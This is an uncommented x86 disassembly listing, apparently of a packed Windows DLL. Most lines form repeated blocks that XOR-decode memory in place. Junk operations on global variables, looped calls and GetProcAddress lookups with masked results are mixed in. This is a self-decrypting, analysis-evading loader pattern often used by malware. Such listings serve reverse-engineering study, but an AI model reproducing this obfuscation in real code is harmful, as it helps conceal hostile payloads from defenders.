lea ecx, [eax + 0x33ec4]
add eax, 0x33eb4
xor eax, dword [ecx]
xor eax, 0xdccff278
mov dword [ecx], eax
mov eax, dword [0x101062e4]
and eax, dword [0x1010536c]
mov dword [0x10103e60], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xaecd]
add eax, 0x27f28
xor eax, dword [ecx]
xor eax, 0xdcceb3e4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25860]
add eax, 0x4540
xor eax, dword [ecx]
xor eax, 0xdccc898c
mov dword [ecx], eax
mov eax, dword [esp + 0x14]
and eax, 0xca85bb9a
mov dword [0x101062e0], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xf6c2]
add eax, 0x202d4
xor eax, dword [ecx]
xor eax, 0xdccece18
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18d6f]
add eax, 0xa4c00
xor eax, dword [ecx]
xor eax, 0xdcc680cc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1410e]
add eax, 0xa5ac0
xor eax, dword [ecx]
xor eax, 0xdcc6960c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1f7a7]
add eax, 0x34278
xor eax, dword [ecx]
xor eax, 0xdccf8eb4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1126b]
add eax, 0x27d88
xor eax, dword [ecx]
xor eax, 0xdcceb144
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xf9bd]
add eax, 0x290f8
xor eax, dword [ecx]
xor eax, 0xdcce5c34
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x14126]
add eax, 0xa5acc
xor eax, dword [ecx]
xor eax, 0xdcc69600
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x330cc]
add eax, 0x330d8
xor eax, dword [ecx]
xor eax, 0xdccffc14
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3eb4]
add eax, 0x5df78
xor eax, dword [ecx]
xor eax, 0xdcc913b4
mov dword [ecx], eax
mov eax, dword [0x10107300]
and dword [0x10103e60], 0
lea ecx, [eax + 0x1d237]
add eax, 0x201f8
xor eax, dword [ecx]
xor eax, 0xdccecd34
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x333a8]
add eax, 0xa49c0
xor eax, dword [ecx]
xor eax, 0xdcc6850c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17fcd]
add eax, 0x2324c
xor eax, dword [ecx]
xor eax, 0xdccefe80
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3be4]
add eax, 0x48500
xor eax, dword [ecx]
xor eax, 0xdcc849cc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3309c]
add eax, 0x36f08
xor eax, dword [ecx]
xor eax, 0xdccfa3c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa7ae]
add eax, 0xa59e4
xor eax, dword [ecx]
xor eax, 0xdcc69528
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xfcf8]
add eax, 0x37078
xor eax, dword [ecx]
xor eax, 0xdccfbcb4
mov dword [ecx], eax
mov eax, dword [0x101062e4]
or eax, dword [0x10105abc]
mov dword [0x1010536c], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1baf1]
add eax, 0x33ce8
xor eax, dword [ecx]
xor eax, 0xdccff024
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x12ac8]
add eax, 0x20244
xor eax, dword [ecx]
xor eax, 0xdccece88
mov dword [ecx], eax
mov eax, dword [0x1010536c]
or eax, dword [esp + 0x20]
mov dword [0x10103e60], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3385c]
add eax, 0x33860
xor eax, dword [ecx]
xor eax, 0xdccff4ac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x446b]
add eax, 0x2579c
xor eax, dword [ecx]
xor eax, 0xdcce9b50
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4770]
add eax, 0x26168
xor eax, dword [ecx]
xor eax, 0xdcceada4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xee82]
add eax, 0x2007c
mov dword [0x101062e0], 0xab072022
xor eax, dword [ecx]
xor eax, 0xdcceccb0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xeb6a]
add eax, 0x29020
xor eax, dword [ecx]
mov ebp, 0x4ff
xor eax, 0xdcce5cec
mov dword [ecx], eax
push dword [0x10107300]
push dword [0x10105ab8]
push dword [0x101062e0]
push section..data
call fcn.1001555e
dec ebp
jne 0x1003f2bc
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32bcc]
add eax, 0x36044
xor eax, dword [ecx]
mov ebp, 0xdcceb4b8
xor eax, 0xdccfac88
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1c4d9]
add eax, 0x1c4e3
xor eax, dword [ecx]
mov edx, 0xdcceced0
xor eax, 0xdccd082f
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4144]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3dcc]
add eax, 0x27874
xor eax, dword [ecx]
xor eax, ebp
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa44bc]
add eax, 0x27874
xor eax, dword [ecx]
xor eax, ebp
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32de0]
add eax, 0x32d70
xor eax, dword [ecx]
xor eax, 0xdccfe1bc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1cf00]
add eax, 0x1cf10
xor eax, dword [ecx]
xor eax, 0xdccd03dc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x52f9]
add eax, 0xa5a00
xor eax, dword [ecx]
xor eax, 0xdcc696cc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xd20e]
add eax, 0x2021c
xor eax, dword [ecx]
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x13235]
add eax, 0x2908c
xor eax, dword [ecx]
xor eax, 0xdcce5c40
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x334a8]
add eax, 0x33414
xor eax, dword [ecx]
xor eax, 0xdccff8d8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4620]
add eax, 0x26708
xor eax, dword [ecx]
xor eax, 0xdcceabc4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x333d4]
add eax, 0x333ec
xor eax, dword [ecx]
xor eax, 0xdccfff20
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2f83]
add eax, 0x254c4
xor eax, dword [ecx]
xor eax, 0xdcce9808
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1791c]
add eax, 0x17924
xor eax, dword [ecx]
xor eax, 0xdccdb5e8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1781c]
add eax, 0x17868
xor eax, dword [ecx]
xor eax, 0xdccdb4a4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa43fc]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1c45]
add eax, 0x2021c
xor eax, dword [ecx]
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov dword [0x10105ab8], eax
lea ecx, [eax + 0xf5cf]
add eax, 0x200ac
xor eax, dword [ecx]
xor eax, 0xdccecc60
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x13114]
add eax, 0x3295c
xor eax, dword [ecx]
xor eax, 0xdccfe590
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x328a4]
add eax, 0x5040
xor eax, dword [ecx]
xor eax, 0xdccc9c8c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1e541]
add eax, 0xa8f28
xor eax, dword [ecx]
xor eax, 0xdcc643e4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x155af]
add eax, 0x20ca0
xor eax, dword [ecx]
xor eax, 0xdccec06c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3756]
add eax, 0x256d8
xor eax, dword [ecx]
xor eax, 0xdcce9a14
mov dword [ecx], eax
mov ecx, dword [0x10105368]
mov eax, dword [0x10105ab8]
add eax, ecx
mov dword [0x101062e0], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xc1ec]
add eax, 0xbc50
xor eax, dword [ecx]
xor eax, 0xdccc709c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32bb0]
add eax, 0x32bb4
xor eax, dword [ecx]
xor eax, 0xdccfe778
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa41ec]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa44a0]
add eax, 0x264d0
xor eax, dword [ecx]
xor eax, 0xdccea81c
mov dword [ecx], eax
mov eax, dword [0x10106ae8]
xor eax, 0x3eb35e33
mov dword [0x10105368], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36b7c]
add eax, 0xa55bc
xor eax, dword [ecx]
xor eax, 0xdcc69970
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x986e]
add eax, 0x200fc
xor eax, dword [ecx]
xor eax, 0xdccecc30
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18412]
add eax, 0xa4c08
xor eax, dword [ecx]
xor eax, 0xdcc680c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2d26]
add eax, 0xa59ed
xor eax, dword [ecx]
xor eax, 0xdcc69521
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xabdb]
add eax, 0x27e5c
xor eax, dword [ecx]
xor eax, 0xdcceb290
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x16ade]
add eax, 0x21808
xor eax, dword [ecx]
xor eax, 0xdcced4c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17884]
add eax, 0x17894
xor eax, dword [ecx]
xor eax, 0xdccdb458
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1c0c6]
add eax, 0xa5550
xor eax, dword [ecx]
xor eax, 0xdcc6999c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x330c8]
add eax, 0x33110
xor eax, dword [ecx]
xor eax, 0xdccffddc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3c00]
add eax, 0x274a8
xor eax, dword [ecx]
xor eax, 0xdcceb864
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xc9a9]
add eax, 0x28c44
xor eax, dword [ecx]
xor eax, 0xdcce4088
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1bcd0]
add eax, 0xa8fcc
xor eax, dword [ecx]
xor eax, 0xdcc64300
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17923]
add eax, 0x17a20
xor eax, dword [ecx]
xor eax, 0xdccdb6ec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a8d7]
add eax, 0xa8fc8
xor eax, dword [ecx]
xor eax, 0xdcc64304
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x4978]
add eax, 0x258cc
xor eax, dword [ecx]
xor eax, 0xdcce9400
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x7e91]
add eax, 0x2034c
xor eax, dword [ecx]
xor eax, 0xdccecf80
mov dword [ecx], eax
mov eax, dword [0x10105ab8]
xor dword [0x101062e0], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb356]
add eax, 0x32898
xor eax, dword [ecx]
xor eax, 0xdccfe454
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x12742]
add eax, 0x25d30
xor eax, dword [ecx]
xor eax, 0xdcce91fc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa431c]
add eax, 0x83910
xor eax, dword [ecx]
xor eax, 0xdcc4f5dc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33b2c]
add eax, 0x176c1
xor eax, dword [ecx]
xor eax, 0xdccdba0d
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1866f]
add eax, 0x2018c
xor eax, dword [ecx]
xor eax, 0xdccecd40
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x340f4]
add eax, 0x340e4
xor eax, dword [ecx]
xor eax, 0xdccf8c28
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4bac]
add eax, 0x231d8
xor eax, dword [ecx]
xor eax, ebx
mov dword [ecx], eax
mov eax, dword [0x10105ab8]
and eax, 0x9639e960
mov dword [0x10105368], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x330f0]
add eax, 0x330f4
xor eax, dword [ecx]
mov ebx, 0x2c7
xor eax, 0xdccffc38
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4260]
add eax, 0x268d8
xor eax, dword [ecx]
xor eax, 0xdccea414
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x335c4]
add eax, 0x335f0
xor eax, dword [ecx]
xor eax, 0xdccff93c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xf456]
add eax, 0x29088
xor eax, dword [ecx]
xor eax, 0xdcce5c44
mov dword [ecx], eax
push dword [0x10107300]
push dword [0x10106ae8]
push dword [0x101062e0]
push section..data
call fcn.1001555e
dec ebx
jne 0x1003f871
mov eax, dword [0x10107300]
lea ecx, [eax + 0x24f0]
add eax, 0x25108
xor eax, dword [ecx]
push 0x10107d64
xor eax, 0xdcce9dc4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33610]
add eax, 0x33950
xor eax, dword [ecx]
push dword [esp + 0x28]
xor eax, 0xdccff59c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9553]
add eax, 0x200e8
xor eax, dword [ecx]
xor eax, 0xdccecc24
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3cf4]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x87d6]
add eax, 0x27c24
xor eax, dword [ecx]
xor eax, 0xdcceb0e8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x7f2a]
add eax, 0x20354
xor eax, dword [ecx]
xor eax, 0xdccecf98
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x105e4]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b0a4]
add eax, 0xa52d4
xor eax, dword [ecx]
xor eax, 0xdcc69e18
mov dword [ecx], eax
mov ebx, dword [0x10107300]
add ebx, 0x202f0
call sub.KERNEL32.dll_GetProcAddress
xor eax, dword [ebx]
mov edx, dword [esp + 0x18]
xor eax, 0xcccf9e52
mov dword [ebx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xf55d]
add eax, 0xa5a34
xor eax, dword [ecx]
mov ebx, 0xdcc65c28
xor eax, 0xdcc696f8
mov dword [ecx], eax
mov eax, dword [0x101062e0]
sub dword [0x10103e64], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33404]
add eax, 0x3309c
xor eax, dword [ecx]
xor eax, 0xdccffc50
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x194c4]
add eax, 0xa90e4
xor eax, dword [ecx]
xor eax, ebx
mov dword [ecx], eax
mov eax, dword [0x10105368]
add edx, dword [0x10105abc]
add eax, 0x948ca36a
mov dword [0x10105ab8], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa42f4]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x811a]
add eax, 0x2025c
xor eax, dword [ecx]
xor eax, 0xdccece90
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa45c0]
add eax, 0x27494
xor eax, dword [ecx]
xor eax, 0xdcceb858
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xff48]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
sub dword [0x10103e64], eax
lea ecx, [eax + 0x370a4]
add eax, 0x31f10
xor eax, dword [ecx]
xor eax, 0xdccfd3dc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2912c]
add eax, 0x2da0
xor eax, dword [ecx]
xor eax, 0xdccce16c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xaca1]
add eax, 0x27e78
xor eax, dword [ecx]
xor eax, 0xdcceb2b4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x52ed]
add eax, 0xa5a18
xor eax, dword [ecx]
xor eax, 0xdcc696d4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa42dc]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25718]
add eax, 0x42a0
xor eax, dword [ecx]
xor eax, 0xdccc8e6c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xed87]
add eax, 0x2007c
xor eax, dword [ecx]
xor eax, 0xdcceccb0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3fc4]
add eax, 0x273c0
xor eax, dword [ecx]
xor eax, 0xdccebf0c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb269]
add eax, 0x20284
xor eax, dword [ecx]
xor eax, 0xdccece48
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + edx]
mov dword [0x10105abc], ecx
lea ecx, [eax + 0x19477]
add eax, 0xa90e4
xor eax, dword [ecx]
xor eax, ebx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xf345]
add eax, 0x20140
xor eax, dword [ecx]
xor eax, 0xdccecd8c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x196d9]
add eax, 0xa8fd4
xor eax, dword [ecx]
xor eax, 0xdcc64318
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3e10]
add eax, 0x270d0
xor eax, dword [ecx]
xor eax, 0xdccebc1c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x329a4]
add eax, 0x4290
xor eax, dword [ecx]
xor eax, 0xdccc8e5c
mov dword [ecx], eax
mov eax, dword [0x10105abc]
or eax, edx
mov dword [0x1010536c], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36518]
add eax, 0x24200
xor eax, dword [ecx]
xor eax, 0xdcce8ecc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x15928]
add eax, 0x14691
xor eax, dword [ecx]
xor eax, 0xdccd8a5d
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33e08]
add eax, 0x1f460
xor eax, dword [ecx]
xor eax, 0xdccd38ac
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
xor ecx, dword [0x1010536c]
mov dword [0x10103e60], ecx
lea ecx, [eax + 0x240f0]
add eax, 0x23ab4
xor eax, dword [ecx]
xor eax, 0xdccef678
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33e60]
add eax, 0x1f4a0
xor eax, dword [ecx]
xor eax, 0xdccd386c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x194f3]
add eax, 0x203ac
xor eax, dword [ecx]
xor eax, 0xdccecf60
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa430c]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11a90]
add eax, 0x20370
xor eax, dword [ecx]
mov ebx, 0x34c
xor eax, 0xdccecfbc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a970]
add eax, 0x201b0
xor eax, dword [ecx]
xor eax, 0xdccecd7c
mov dword [ecx], eax
push dword [0x10107300]
mov eax, dword [0x10103e64]
push eax
push eax
push section..data
call fcn.1001555e
dec ebx
jne 0x1003fca8
mov eax, dword [0x10107300]
lea ecx, [eax + 0x370f8]
add eax, 0x31328
xor eax, dword [ecx]
xor eax, 0xdccfdfe4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x23fa8]
add eax, 0x27c96
xor eax, dword [ecx]
xor eax, 0xdcceb05a
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x28fbc]
add eax, 0x333c4
xor eax, dword [ecx]
xor eax, 0xdccfff08
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa407c]
add eax, 0x7a078
xor eax, dword [ecx]
xor eax, 0xdccb6cb4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25e8c]
add eax, 0x331e0
xor eax, dword [ecx]
xor eax, 0xdccffd2c
mov dword [ecx], eax
mov eax, dword [0x10107300]
and dword [0x10105abc], ebx
lea ecx, [eax + 0xa3a0c]
add eax, 0x27874
xor eax, dword [ecx]
mov ebx, 0x362
xor eax, ebp
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x23fd4]
add eax, 0x23ef4
xor eax, dword [ecx]
xor eax, 0xdccef238
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33698]
add eax, 0x32fa8
xor eax, dword [ecx]
xor eax, 0xdccfe364
mov dword [ecx], eax
mov eax, dword [0x10107300]
push eax
push dword [0x10105ab8]
push dword [0x10105368]
push section..data
call fcn.1001555e
mov eax, dword [0x10107300]
mov ecx, eax
or ecx, 0x712c94df
dec ebx
mov dword [0x10105abc], ecx
jne 0x1003fd97
lea ecx, [eax + 0x1c671]
add eax, 0xa508c
xor eax, dword [ecx]
xor eax, 0xdcc69c40
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1084a]
add eax, 0x27c88
xor eax, dword [ecx]
xor eax, 0xdcceb044
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x12409]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b3a5]
add eax, 0x36448
xor eax, dword [ecx]
xor eax, 0xdccfa884
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33f84]
add eax, 0x33f74
xor eax, dword [ecx]
xor eax, 0xdccff3b8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33330]
add eax, 0x3700c
xor eax, dword [ecx]
xor eax, 0xdccfbcc0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19d98]
add eax, 0xa8fb8
xor eax, dword [ecx]
xor eax, 0xdcc64374
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x390c]
add eax, 0xa6ad4
xor eax, dword [ecx]
xor eax, 0xdcc6a618
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x23bf]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xe221]
add eax, 0xa5a3c
xor eax, dword [ecx]
xor eax, 0xdcc696f0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17f3e]
add eax, 0x201a8
xor eax, dword [ecx]
xor eax, 0xdccecd64
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1c8df]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x16a2b]
add eax, 0x21008
xor eax, dword [ecx]
xor eax, 0xdccedcc4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b13b]
add eax, 0x20190
xor eax, dword [ecx]
xor eax, 0xdccecd5c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3d54]
add eax, 0x27610
xor eax, dword [ecx]
xor eax, 0xdccebadc
mov dword [ecx], eax
mov eax, dword [0x101062e0]
add eax, 0x7d73749b
mov dword [0x10103e64], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x21a2]
add eax, 0x24fc0
xor eax, dword [ecx]
xor eax, 0xdcce830c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x84b8]
add eax, 0x27ba0
xor eax, dword [ecx]
xor eax, 0xdcceb76c
mov dword [ecx], eax
or dword [0x101062e4], 0xa9d69af8
and dword [0x101062e0], ebx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32f40]
add eax, 0x32f44
xor eax, dword [ecx]
xor eax, 0xdccfe388
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x240d0]
add eax, 0x23be8
xor eax, dword [ecx]
xor eax, 0xdccef724
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + eax]
mov dword [0x10103e60], ecx
lea ecx, [eax + 0x802e]
add eax, 0x20274
xor eax, dword [ecx]
xor eax, 0xdcceceb8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x184cf]
add eax, 0x3606c
xor eax, dword [ecx]
xor eax, 0xdccfaca0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4204]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1c82f]
add eax, 0xa51e4
xor eax, dword [ecx]
xor eax, 0xdcc69d28
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xaaeb]
add eax, 0xa5a38
xor eax, dword [ecx]
xor eax, 0xdcc696f4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19b13]
add eax, 0xa4f6c
xor eax, dword [ecx]
xor eax, 0xdcc683a0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3386c]
add eax, 0xa4af0
xor eax, dword [ecx]
xor eax, 0xdcc6863c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb0cd]
add eax, 0x24a9c
xor eax, dword [ecx]
mov ebx, 0xdcce8650
xor eax, ebx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa45ac]
add eax, 0x27874
xor eax, dword [ecx]
push 0x1010743c
push dword [esp + 0x50]
xor eax, ebp
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x331a0]
add eax, 0x36f68
xor eax, dword [ecx]
xor eax, 0xdccfa3a4
mov dword [ecx], eax
mov ebp, dword [0x10107300]
add ebp, 0x20328
call sub.KERNEL32.dll_GetProcAddress
xor eax, dword [ebp]
xor eax, 0xcccf861c
mov dword [ebp], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xd442]
add eax, 0x24a9c
xor eax, dword [ecx]
xor eax, ebx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x960c]
add eax, 0x2002c
xor eax, dword [ecx]
xor eax, 0xdccecce0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x37040]
add eax, 0x321a0
xor eax, dword [ecx]
xor eax, 0xdccfed6c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x175c1]
add eax, 0x20128
xor eax, dword [ecx]
xor eax, 0xdccecde4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x143a3]
add eax, 0x203c8
xor eax, dword [ecx]
xor eax, 0xdccecf04
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1ceac]
add eax, 0x1cee4
xor eax, dword [ecx]
xor eax, 0xdccd0228
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x329f4]
add eax, 0x4290
xor eax, dword [ecx]
xor eax, 0xdccc8e5c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9c59]
add eax, 0x27c54
xor eax, dword [ecx]
xor eax, 0xdcceb098
mov dword [ecx], eax
